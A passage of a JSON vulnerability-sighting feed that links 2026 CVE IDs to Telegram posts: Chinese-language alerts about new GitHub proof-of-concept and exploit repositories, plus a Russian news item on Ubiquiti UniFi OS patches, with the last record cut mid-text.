Azuriom CMS (<1.2.11) Broken Access Control \u2192 account takeover\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:20.927462Z"}, {"uuid": "b046e820-c6c0-4d3d-b579-9dccbf905c3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54477", "type": "seen", "source": "https://t.me/GithubRedTeam/91660", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54477\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MichaelAdamGroberman\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 22:00:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54477: Admin Panel Missing Security Headers (clickjacking/XSS) - Gardyn (ICSA-26-183-03)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:21.874341Z"}, {"uuid": "6fa2f507-ef44-45a2-8c61-77d7f3b81b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54424", "type": "seen", "source": "https://t.me/GithubRedTeam/91664", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54424\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tomadimitrie\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 22:17:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploiting Parsec for Windows to gain SYSTEM privileges\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:21.914096Z"}, {"uuid": "d8f09b9d-be01-4519-bf07-037630061304", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54161", "type": "seen", "source": "https://t.me/GithubRedTeam/91470", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54161\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ja-errorpro\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-01 16:11:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:32.271920Z"}, {"uuid": "23cdb902-738a-4a89-a6fc-5abb31d942d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54337", "type": "seen", "source": "https://t.me/GithubRedTeam/89729", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54337-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4qu4r1um\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-20 03:49:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54337 - Unauthenticated File Write/Overwrite PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:38.376204Z"}, {"uuid": "2e3ef7da-520f-433e-ac13-d9cc5b481840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5415", "type": "seen", "source": "https://t.me/GithubRedTeam/89279", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-5415\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a izxci\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-17 09:56:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-5415 WP Captcha PRO Authenticated Authentication Bypass Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:39.699865Z"}, {"uuid": "98e1fb67-b56a-4984-9eb3-d172ee39f89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54806", "type": "seen", "source": "https://t.me/GithubRedTeam/90140", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54806\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joshuavanderpoll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 16:18:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated PHP Object Injection to RCE in WP Activity Log <= 5.6.3.1 (CVE-2026-54806)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:37.294618Z"}, {"uuid": "6353c3c0-c21b-4431-8eb1-db4bdcceb7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54761", "type": "seen", "source": "https://t.me/GithubRedTeam/89650", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54761-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 13:38:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:38.496202Z"}, {"uuid": "4a755f88-169c-471a-a31b-2d6ae80022ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://t.me/GithubRedTeam/89493", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54420-LiteSpeed-Symlink-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-18 15:24:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA vulnerability in LiteSpeed cPanel Plugin before 2.4.8 and WHM Plugin before 5.3.2.0 mishandles symlinks provided by a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:39.624908Z"}, {"uuid": "f9ec4cf1-965a-4ad0-a404-e410b9cb810a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54686", "type": "seen", "source": "https://t.me/GithubRedTeam/89060", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54686-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-16 05:32:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:41.610873Z"}, {"uuid": "3b432fe3-cfad-42e8-af43-cf1b0956ef5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54402", "type": "seen", "source": "https://t.me/true_secator/8386", "content": "Ubiquiti \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u043c\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 UniFi OS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u043a\u0430\u043a CVE-2026-50746, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCVE-2026-50746 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect (\u0432\u0435\u0440\u0441\u0438\u0438 3.4.16 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435), \u043f\u0430\u043a\u0435\u0442 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u044b Ubiquiti \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0434\u0430\u043d\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u0435\u0434\u0438\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Improper Access Control), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 UniFi Connect, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0445\u043e\u0441\u0442-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.20 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\nUbiquiti \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0449\u0435 \u0448\u0435\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2026-50747, CVE-2026-50748, CVE-2026-54400, CVE-2026-54402, CVE-2026-55115, CVE-2026-55116) \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 UniFi Talk, UniFi Access \u0438 UniFi Protect, UniFi OS Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432, \u0448\u043b\u044e\u0437\u043e\u0432, NAS \u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0432\u0438\u0434\u0435\u043e\u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f Ubiquiti.\n\nUbiquiti \u043f\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0431\u044b\u043b\u0438 \u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043e \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Censys \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 UniFi OS,\u00a0\u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 (\u043f\u043e\u0447\u0442\u0438 50 000 IP) \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0421\u0428\u0410. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u0432\u0443\u0448\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043d\u0435 \u044f\u0441\u043d\u043e.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0434\u0430\u043d\u043d\u044b\u0435 Censys \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0448\u043b\u044b\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u0440\u0430\u0436\u0430\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u0441\u0442\u0435\u043c, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u043e\u043c \u0433\u0440\u0443\u043f\u043f\u044b \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Ubiquiti, \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044f \u0435\u0451 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-07-14T00:00:47.853201Z"}, {"uuid": "7f41b7a6-5e3b-45cf-a1f2-d0c5af118dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54400", "type": "seen", "source": "https://t.me/true_secator/8386", "content": "Ubiquiti \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u043c\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 UniFi OS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u043a\u0430\u043a CVE-2026-50746, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCVE-2026-50746 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect (\u0432\u0435\u0440\u0441\u0438\u0438 3.4.16 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435), \u043f\u0430\u043a\u0435\u0442 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u044b Ubiquiti \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0434\u0430\u043d\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u0435\u0434\u0438\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Improper Access Control), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 UniFi Connect, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0445\u043e\u0441\u0442-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect \u0434\u043e 